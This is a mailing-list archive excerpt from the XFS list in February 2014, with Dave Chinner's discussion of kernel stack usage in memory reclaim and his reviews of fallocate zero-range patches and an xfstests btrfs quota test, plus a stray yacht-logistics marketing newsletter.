DaveJ confirmed that DaveC's patch fixes his issue (damn, > people, your parents were some seriously boring people, were they not? > We've got too many Dave's around), It's an exclusive club - we have 'kernel hacker Dave' reunions in bars around the world. We should get some tshirts made up.... :) > but DaveC earlier pointed out that > pretty much any memory allocation path can end up using 3kB of stack > even without XFS being involved. > > Which does bring up the question whether we should look (once more) at > the VM direct-reclaim path, and try to avoid GFP_FS/IO direct > reclaim.. We do that mostly already, but GFP_KERNEL allows swap IO and that's where the deepest stack I saw came from. Even if we don't allow IO at all, we're still going to see stack usage of 2-2.5k in direct reclaim. e.g. invalidate a page and enter the rmap code. The rmap is protected by a mutex, so if we fail to get that we have about 1.2k of stack consumed from there and that is on top of the the allocator/reclaim that has already consumes ~1k of stack... > Direct reclaim historically used to be an important throttling > mechanism, and I used to not be a fan of trying to avoid direct > reclaim. But the stack depth issue really looks to be pretty bad, and > I think we've gotten better at throttling explicitly, so.. > > I *think* we already limit filesystem writeback to just kswapd (in > shrink_page_list()), but DaveC posted a backtrace that goes through > do_try_to_free_pages() to shrink_slab(), and through there to the > filesystem and then IO. That looked like a disaster. Right, that's an XFS problem, and I'm working on fixing it. The Patch I sent to DaveJ fixes the worst case, but I need to make it completely IO-less while still retaining the throttling the IO gives us. > And that's because (if I read things right) shrink_page_list() limits > filesystem page writeback to kswapd, but not swap pages. Which I think > probably made more sense back in the days than it does now (I > certainly *hope* that swapping is less important today than it was, > say, ten years ago) > > So I'm wondering whether we should remove that page_is_file_cache() > check from shrink_page_list()? The thing is, the stack usage from the swap IO path is pretty well bound - it's just the worst case stack of issuing IO. We know it won't recurse into direct reclaim, so mempool allocation and blocking is all we need to consider. Compare that to a filesystem which may need to allocate extents and hence do transactions and split btrees and read metadata and allocate large amounts of memory even before it gets to the IO layers. Hence I suspect that we could do a simple thing like only allow swap if there's more than half the stack available in the current reclaim context. Because, let's face it, if the submit_bio path is consuming more than half the available stack then we're totally screwed from a filesystem perspective.... > And then there is that whole shrink_slab() case... I think with shrinkers we just need to be more careful. The XFS behaviour is all my fault, and I should have known better that to design code that requires IO in the direct reclaim path. :/ Cheers, Dave. -- Dave Chinner david@fromorbit.com From david@fromorbit.com Mon Feb 17 20:51:23 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 7F42E7FAD for ; Mon, 17 Feb 2014 20:51:23 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 05D6AAC004 for ; Mon, 17 Feb 2014 18:51:19 -0800 (PST) X-ASG-Debug-ID: 1392691877-04cbb00c28502d10001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id s8WsB9q5nOTUQ3xH for ; Mon, 17 Feb 2014 18:51:18 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjQHAFXKAlN5LJYe/2dsb2JhbABZgwa7CIVUgRUXdIIlAQEFOhwjEAgDDgoJJQ8FJQMhE4gEyxIXFo4HZAeEOASYK4pQh1SDQSiBLA Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 13:21:15 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFam8-000764-Kv; Tue, 18 Feb 2014 13:51:12 +1100 Date: Tue, 18 Feb 2014 13:51:12 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, tytso@mit.edu, xfs@oss.sgi.com Subject: Re: [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140218025112.GH13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 4/6] fs: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <1392649703-10772-5-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392649703-10772-5-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392691877 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145230 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 17, 2014 at 04:08:21PM +0100, Lukas Czerner wrote: > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > It can be used to convert a range of file to zeros preferably without > issuing data IO. Blocks should be preallocated for the regions that span > holes in the file, and the entire range is preferable converted to > unwritten extents - even though file system may choose to zero out the > extent or do whatever which will result in reading zeros from the range > while the range remains allocated for the file. > > This can be also used to preallocate blocks past EOF in the same way as > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > size to remain the same. > > Signed-off-by: Lukas Czerner > --- > fs/open.c | 7 ++++++- > include/uapi/linux/falloc.h | 1 + > 2 files changed, 7 insertions(+), 1 deletion(-) > > diff --git a/fs/open.c b/fs/open.c > index 4b3e1ed..6dc46c1 100644 > --- a/fs/open.c > +++ b/fs/open.c > @@ -231,7 +231,12 @@ int do_fallocate(struct file *file, int mode, loff_t offset, loff_t len) > return -EINVAL; > > /* Return error if mode is not supported */ > - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | > + FALLOC_FL_ZERO_RANGE)) > + return -EOPNOTSUPP; > + > + /* Punch hole and zero range are mutually exclusive */ > + if (mode & FALLOC_FL_PUNCH_HOLE && mode & FALLOC_FL_ZERO_RANGE) I would have expected gcc to throw a warning on this. Even if it doesn't, it's so easy to mix up & an && and & it needs parenthesis around it to make it obvious what you actually meant and it doesn't have a && where an & should be or vice versa. Better, IMO, is this: /* Punch hole and zero range are mutually exclusive */ if ((mode & (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_ZERO_RANGE)) == (FALLOC_FL_PUNCH_HOLE | FALLOC_FL_ZERO_RANGE)) return -EOPNOTSUPP; because it's obvious what the intent is and easy to spot typos. Cheers, Dave. -- Dave Chinner david@fromorbit.com From bounce-mc.us3_26312595.662681-linux-xfs=oss.sgi.com@mail155.wdc02.mcdlv.net Mon Feb 17 22:49:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,MIME_QP_LONG_LINE, T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 1A42F7FB1 for ; Mon, 17 Feb 2014 22:49:08 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 936078F8039 for ; Mon, 17 Feb 2014 20:49:07 -0800 (PST) X-ASG-Debug-ID: 1392698939-04bdf00fcad8380001-w1Z2WR Received: from mail155.wdc02.mcdlv.net (mail155.wdc02.mcdlv.net [205.201.130.155]) by cuda.sgi.com with ESMTP id GBjp4bsAVgBIdgHM for ; Mon, 17 Feb 2014 20:49:00 -0800 (PST) X-Barracuda-Envelope-From: bounce-mc.us3_26312595.662681-linux-xfs=oss.sgi.com@mail155.wdc02.mcdlv.net X-Barracuda-Apparent-Source-IP: 205.201.130.155 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; s=k1; d=mail155.wdc02.mcdlv.net; h=Subject:From:Reply-To:To:Date:Message-ID:List-Unsubscribe:Sender:Content-Type:MIME-Version; i=Yacht-Transport=3Dauroralogistics.com@mail155.wdc02.mcdlv.net; bh=84KwtLWevtSGMWgoFbxiytyXGi0=; b=FsC4tuIffl6mAgKmzAjeNHFzB47qUgp7YP5tVOow+IzcMbq7mnIhkKHd2gx3EW/oH5fGzDRI9J48 as7wv1JiQSFgmWiRdpyQuTPjuOZpSAupw1h1l6Jt0r/VY5NKIcWIwq/A2RvJ2c8/9Wz0eybxg4tN HE+o/5Ul1neq0ZXexc8= DomainKey-Signature: a=rsa-sha1; c=nofws; q=dns; s=k1; d=mail155.wdc02.mcdlv.net; b=R/E7BzYVib+ByMRazc9sG9HCz5Cs/9SiX8Buw1Kjvuvbq4sd4af8gflRhub3TXEVV5XM4ivjjfJb vWH4+RGphS3JoUQxtDqkXLZH8jMm68MPzYNfzElmq//RxGs94jLumD6ZkffZ1c1LADj6pb/nWhRl jODqVIaonDAqofgftzY=; Received: from (127.0.0.1) by mail155.wdc02.mcdlv.net id h0bj3o1jvmgp for ; Tue, 18 Feb 2014 04:48:56 +0000 (envelope-from ) Subject: =?utf-8?Q?Aurora=20E=2DNewsletter=20Edition=20106?= From: =?utf-8?Q?Aurora=20Yacht=20Logistics?= X-ASG-Orig-Subj: =?utf-8?Q?Aurora=20E=2DNewsletter=20Edition=20106?= Reply-To: =?utf-8?Q?Aurora=20Yacht=20Logistics?= To: =?utf-8?Q??= Date: Tue, 18 Feb 2014 04:48:56 +0000 Message-ID: <03a276d15dea6773caf5af4baa738bd1667.20140218044838@mail155.wdc02.mcdlv.net> X-Mailer: MailChimp Mailer - **CID6a55fbb9baa738bd1667** X-Campaign: mailchimp03a276d15dea6773caf5af4ba.6a55fbb9ba X-campaignid: mailchimp03a276d15dea6773caf5af4ba.6a55fbb9ba X-Report-Abuse: Please report abuse for this campaign here: http://www.mailchimp.com/abuse/abuse.phtml?u=03a276d15dea6773caf5af4ba&id=6a55fbb9ba&e=a738bd1667 X-MC-User: 03a276d15dea6773caf5af4ba X-Feedback-ID: 26312595:26312595.662681:us3:mc x-accounttype: pd List-Unsubscribe: , Sender: "Aurora Yacht Logistics" x-mcda: FALSE Content-Type: multipart/alternative; boundary="_----------=_MCPart_1126724618" MIME-Version: 1.0 X-Barracuda-Connect: mail155.wdc02.mcdlv.net[205.201.130.155] X-Barracuda-Start-Time: 1392698939 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.82 X-Barracuda-Spam-Status: No, SCORE=0.82 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE, HTTP_ESCAPED_HOST, MIME_QP_LONG_LINE, MIME_QP_LONG_LINE_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145232 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTTP_ESCAPED_HOST URI: Uses %-escapes inside a URL's hostname 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 MIME_QP_LONG_LINE RAW: Quoted-printable line longer than 76 chars 0.82 MIME_QP_LONG_LINE_2 RAW: Quoted-printable line longer than 76 chars This is a multi-part message in MIME format --_----------=_MCPart_1126724618 Content-Type: text/plain; charset="utf-8"; format="fixed" Content-Transfer-Encoding: quoted-printable edit this section. View this email in your browser (http://us3.campaign-archive1.com/?u=3D03a= 276d15dea6773caf5af4ba&id=3D6a55fbb9ba&e=3Da738bd1667) Edition #112 | Feb 20=2C 2014 fasdkhfksdajh Schedule Update (#schedule) - Etc Etc - Something - gffdgfdgdgdfg. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D A special thanks to our supporting partners Transport Schedule Update Headline Break Read More > Read More > Read More > Read More > Customs Clearance Customs Clearance News Article Title News Article Title dsfdsfasdfasdfasdfasd gdfgfdgds Read More> dsfdsfasdfasdfasdfasd gdfgfdgds Read More> News Article Title Read More > News Article Title Read More > A special thanks to our supporting partners A special thanks to our supporting partners ** () ** () ** (http://auroralogistics.us3.list-manage2.com/track/click?u=3D03a276d15d= ea6773caf5af4ba&id=3D63c90a8d9c&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d15de= a6773caf5af4ba&id=3D174d6ea116&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d15de= a6773caf5af4ba&id=3D4844f0e307&e=3Da738bd1667) ** Share (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a27= 6d15dea6773caf5af4ba&id=3D3513821a5a&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage2.com/track/click?u=3D03a276d15d= ea6773caf5af4ba&id=3D71a40dfcb5&e=3Da738bd1667 http%3A%2F%2Feepurl.c= om%2FODjqT) ** Tweet (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a27= 6d15dea6773caf5af4ba&id=3D2c495512ab&e=3Da738bd1667 http%3A%2F%2Feep= url.com%2FODjqT) ** (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d15de= a6773caf5af4ba&id=3Dedbcda36a5&e=3Da738bd1667) ** +1 (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d1= 5dea6773caf5af4ba&id=3De449e42b2d&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d15de= a6773caf5af4ba&id=3D4188426b67&e=3Da738bd1667) ** Share (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a27= 6d15dea6773caf5af4ba&id=3Ddf67848411&e=3Da738bd1667) ** (http://us3.forward-to-friend.com/forward?u=3D03a276d15dea6773caf5af4ba= &id=3D6a55fbb9ba&e=3Da738bd1667) ** Forward to Friend (http://us3.forward-to-friend.com/forward?u=3D03a276d= 15dea6773caf5af4ba&id=3D6a55fbb9ba&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d15de= a6773caf5af4ba&id=3D709d2e5730&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d15de= a6773caf5af4ba&id=3D086e39d64b&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage2.com/track/click?u=3D03a276d15d= ea6773caf5af4ba&id=3D588a1284bf&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d15de= a6773caf5af4ba&id=3D2818787d2e&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d15de= a6773caf5af4ba&id=3D01ce609dd6&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage2.com/track/click?u=3D03a276d15d= ea6773caf5af4ba&id=3Defa8dae514&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage.com/track/click?u=3D03a276d15de= a6773caf5af4ba&id=3D97e6a371a7&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage2.com/track/click?u=3D03a276d15d= ea6773caf5af4ba&id=3Dedf27474c9&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage1.com/track/click?u=3D03a276d15d= ea6773caf5af4ba&id=3D9cc203ac95&e=3Da738bd1667) ** unsubscribe from this list (http://auroralogistics.us3.list-manage1.com= /unsubscribe?u=3D03a276d15dea6773caf5af4ba&id=3De326d7d3be&e=3Da738bd1667&c= =3D6a55fbb9ba) ** update subscription preferences (http://auroralogistics.us3.list-manage= =2Ecom/profile?u=3D03a276d15dea6773caf5af4ba&id=3De326d7d3be&e=3Da738bd1667) ** (http://auroralogistics.us3.list-manage1.com/track/click?u=3D03a276d15d= ea6773caf5af4ba&id=3D6c41d2f820&e=3Da738bd1667) --_----------=_MCPart_1126724618 Content-Type: text/html; charset="utf-8" Content-Transfer-Encoding: quoted-printable =09 Aurora E-Newsletter Edition 106
=09
<= table width=3D"100%" class=3D"mcnTextBlock" border=3D"0" cellspacing=3D"0"= cellpadding=3D"0" style=3D"border-collapse: collapse;mso-table-lspace: 0p= t;mso-table-rspace: 0pt;-ms-text-size-adjust: 100%;-webkit-text-size-adjus= t: 100%;">


View this email in your browser
 


Edition #= 106 | Feb 18=2C 2014
Australia's Largest International Yacht Logist= ics Company
3D""
Aurora Yacht Logistics are Australia's largest= International Yacht Logistics company. We are the exclusive agent for Pet= ers and May Global Boat shipping. We also employ in house customs brokers= and can assist with all aspects of yacht transport - marina to marina
=
=

Transport Schedule Update


LIFT ON / LIFT OFF
  =09 =09=09 =09=09=09 =09=09=09 =09=09 =09=09=09 =09=09=09 =09=09 =09=09 =09=09=09 =09=09=09 =09=09 =09=09 =09=09=09 =09=09=09 =09=09 =09=09=09 =09=09=09 =09=09 =09=09=09 =09=09=09 =09=09 =09=09 =09=09=09 =09=09=09 =09=09 =09=09=09 =09=09=09 =09=09 =09
West Coa= st Australia / East Coast AustraliaWeekly =09=09
East Coa= st Australia / West Coast AustraliaFortnigh= tly
Australi= a / Med / AustraliaFortnigh= tly
Australi= a / Northern Europe / AustraliaMonthly<= /td> =09=09
West Coa= st USA / AustraliaMonthly<= /td> =09=09
Australi= a / East Coast USA / AustraliaFortnigh= tly
Australi= a / Middle EastMonthly<= /td> =09=09
Australi= a / Asia / AustraliaFortnigh= tly

Peters and May Sailing Schedule


Our agent Peters and May also offer a wide range of schedules throughout t= he Mediterranean=2C Northern Europe and Atlantic . Click Here to see dates
3D""

= Proudly Shipped by Aurora


Aurora recently assisted Riviera in exporting its first 63 Open Flybridge= model bound for the Middle East show circuit.

Read More >
3D""

Aurora Feature in Ocean Live Magazine


Aurora Yacht Logistics have announced a new strategy for 2014 for its serv= ices within Australia

Read More >
3D""
3D""

Andrew Abrahams


Aurora want to congratulate Andrew Abrahams on completing the grueling 300= 0 miles row across the Atlantic. He completed the challenge in 57 days=2C= 17 hours=2C 54 minutes and 20 seconds. Andrew finished 7th overall and is= the only solo rower to have completed the race. Well done Andrew

 
3D""



 

Share
Forward to Friend
+1
Tweet
3D""
Customs Clearance

Aurora is one of Australia's specialist yacht logistics/transport provider= s who have invested in a fully licensed in-house customs brokerage divisio= n.
Our services include:
    =09



Ocean Live News

News proudly supplied
by media partner=2C Ocean Media.
www.oceanmedia.com.au
ASMEX 2014 Program Announced

AIMEX has announced an impressive=2C high-caliber global program of speake= rs and events for the ASMEX conference=2C 20 and 21 May.
Read More >
 Sunseeke= r 155 Sea Trials

Commissioned by F1 racing legend=2C Eddie Jordan=2C Sunseeker's tri-deck 1= 55 Yacht has left the shipyards for testing
Read More >
 Ha= nson to Launch Whitehaven

Industry veteran=2C Keith Hanson is poised to launch a new range of motory= achts under the Whitehaven brand at Sydney Boat Show
Read More >
A sp= ecial thanks to our supporting partners
 
Copyright =C2=A9 2014 Aurora Global Logist= ics=2C All rights reserved.
You have received this email because you're a client or friend of Aurora= Global Logistics

Our mailing address is:
Aurora Global Logistics=
48 Mc Connell Street
Bulimba
Bri= sbane=2C Qld 4171
Australia

Add us to your address bo= ok


unsubscribe from this list    upd= ate subscription preferences 
 
--_----------=_MCPart_1126724618-- From david@fromorbit.com Mon Feb 17 22:51:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id A7FFD7FB3 for ; Mon, 17 Feb 2014 22:51:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 8E0588F8039 for ; Mon, 17 Feb 2014 20:51:46 -0800 (PST) X-ASG-Debug-ID: 1392699103-04cbb00c2b5086e0001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id vMACahd8WTHfuvSA for ; Mon, 17 Feb 2014 20:51:44 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AjUHAEnmAlN5LJYe/2dsb2JhbABZgwa7CYVUgRYXdIIlAQEFJxMcIxAIAw4KCSUPBSUDIROIBMsWFxaOaweEOAEDmCuKUIdUg0Eo Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 15:21:43 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFceh-0007HR-0g; Tue, 18 Feb 2014 15:51:39 +1100 Date: Tue, 18 Feb 2014 15:51:38 +1100 From: Dave Chinner To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, tytso@mit.edu, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE Message-ID: <20140218045138.GI13997@dastard> X-ASG-Orig-Subj: Re: [PATCH 6/6] xfs: Add support for FALLOC_FL_ZERO_RANGE References: <1392649703-10772-1-git-send-email-lczerner@redhat.com> <1392649703-10772-7-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392649703-10772-7-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392699104 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145233 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Mon, Feb 17, 2014 at 04:08:23PM +0100, Lukas Czerner wrote: > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > We can also preallocate blocks past EOF in the same was as with > fallocate. Flag FALLOC_FL_KEEP_SIZE will cause the inode size to remain > the same even if we preallocate blocks past EOF. > > It uses the same code to zero range as it is used by the > XFS_IOC_ZERO_RANGE ioctl. > > Signed-off-by: Lukas Czerner > --- > fs/xfs/xfs_file.c | 10 +++++++--- > 1 file changed, 7 insertions(+), 3 deletions(-) > > diff --git a/fs/xfs/xfs_file.c b/fs/xfs/xfs_file.c > index 64b48ea..aec5f64 100644 > --- a/fs/xfs/xfs_file.c > +++ b/fs/xfs/xfs_file.c > @@ -823,7 +823,8 @@ xfs_file_fallocate( > > if (!S_ISREG(inode->i_mode)) > return -EINVAL; > - if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE)) > + if (mode & ~(FALLOC_FL_KEEP_SIZE | FALLOC_FL_PUNCH_HOLE | > + FALLOC_FL_ZERO_RANGE)) > return -EOPNOTSUPP; > > xfs_ilock(ip, XFS_IOLOCK_EXCL); > @@ -840,8 +841,11 @@ xfs_file_fallocate( > goto out_unlock; > } > > - error = xfs_alloc_file_space(ip, offset, len, > - XFS_BMAPI_PREALLOC); > + if (mode & FALLOC_FL_ZERO_RANGE) > + error = xfs_zero_file_space(ip, offset, len); > + else > + error = xfs_alloc_file_space(ip, offset, len, > + XFS_BMAPI_PREALLOC); > if (error) > goto out_unlock; > } Looks OK. Reviewed-by: Dave Chinner -- Dave Chinner david@fromorbit.com From david@fromorbit.com Tue Feb 18 00:47:25 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 22BA87FB3 for ; Tue, 18 Feb 2014 00:47:25 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 09BF98F804C for ; Mon, 17 Feb 2014 22:47:24 -0800 (PST) X-ASG-Debug-ID: 1392706039-04cb6c6de1512450001-NocioJ Received: from ipmail06.adl6.internode.on.net (ipmail06.adl6.internode.on.net [150.101.137.145]) by cuda.sgi.com with ESMTP id jm8rbqY01U4Q8ovC for ; Mon, 17 Feb 2014 22:47:19 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.145 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AmYOAH0BA1N5LJYe/2dsb2JhbABZgwY4qHcDkVeFVIETF3SCJQEBBTocIxAIAxgJJQ8FJQMhE4gEDss1FoxqgTRNB4MkgRQEjj+JbJIkg0EogS0 Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail06.adl6.internode.on.net with ESMTP; 18 Feb 2014 17:17:02 +1030 Received: from dave by dastard with local (Exim 4.76) (envelope-from ) id 1WFeSJ-0007UJ-Ie; Tue, 18 Feb 2014 17:46:59 +1100 Date: Tue, 18 Feb 2014 17:46:59 +1100 From: Dave Chinner To: Wang Shilong Cc: xfs@oss.sgi.com, linux-btrfs@vger.kernel.org Subject: Re: [PATCH 1/3] xfstests/btrfs: add qgroup rescan stress test Message-ID: <20140218064659.GA28666@dastard> X-ASG-Orig-Subj: Re: [PATCH 1/3] xfstests/btrfs: add qgroup rescan stress test References: <1392261539-28903-1-git-send-email-wangsl.fnst@cn.fujitsu.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1392261539-28903-1-git-send-email-wangsl.fnst@cn.fujitsu.com> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail06.adl6.internode.on.net[150.101.137.145] X-Barracuda-Start-Time: 1392706039 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145235 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Feb 13, 2014 at 11:18:57AM +0800, Wang Shilong wrote: > Test flow is to run fsstress after triggering quota rescan. > the ruler is simple, we just remove all files and directories, > sync filesystem and see if qgroup's ref and excl are nodesize. > > Signed-off-by: Wang Shilong > --- > tests/btrfs/038 | 75 +++++++++++++++++++++++++++++++++++++++++++++++++++++ > tests/btrfs/038.out | 3 +++ > tests/btrfs/group | 1 + > 3 files changed, 79 insertions(+) > create mode 100644 tests/btrfs/038 > create mode 100644 tests/btrfs/038.out > > diff --git a/tests/btrfs/038 b/tests/btrfs/038 > new file mode 100644 > index 0000000..f6bd872 > --- /dev/null > +++ b/tests/btrfs/038 > @@ -0,0 +1,75 @@ > +#! /bin/bash > +# FSQA Test No. btrfs/038 > +# > +# Quota rescan stress test, we run fsstress and quota rescan concurrently > +# > +#----------------------------------------------------------------------- > +# Copyright (C) 2014 Fujitsu. All rights reserved. > +# > +# This program is free software; you can redistribute it and/or > +# modify it under the terms of the GNU General Public License as > +# published by the Free Software Foundation. > +# > +# This program is distributed in the hope that it would be useful, > +# but WITHOUT ANY WARRANTY; without even the implied warranty of > +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the > +# GNU General Public License for more details. > +# > +# You should have received a copy of the GNU General Public License > +# along with this program; if not, write the Free Software Foundation, > +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA > +# > +#----------------------------------------------------------------------- > +# > + > +seq=`basename $0` > +seqres=$RESULT_DIR/$seq > +echo "QA output created by $seq" > + > +here=`pwd` > +tmp=/tmp/$$ > +status=1 > + > +_cleanup() > +{ > + rm -f $tmp.* > +} > +trap 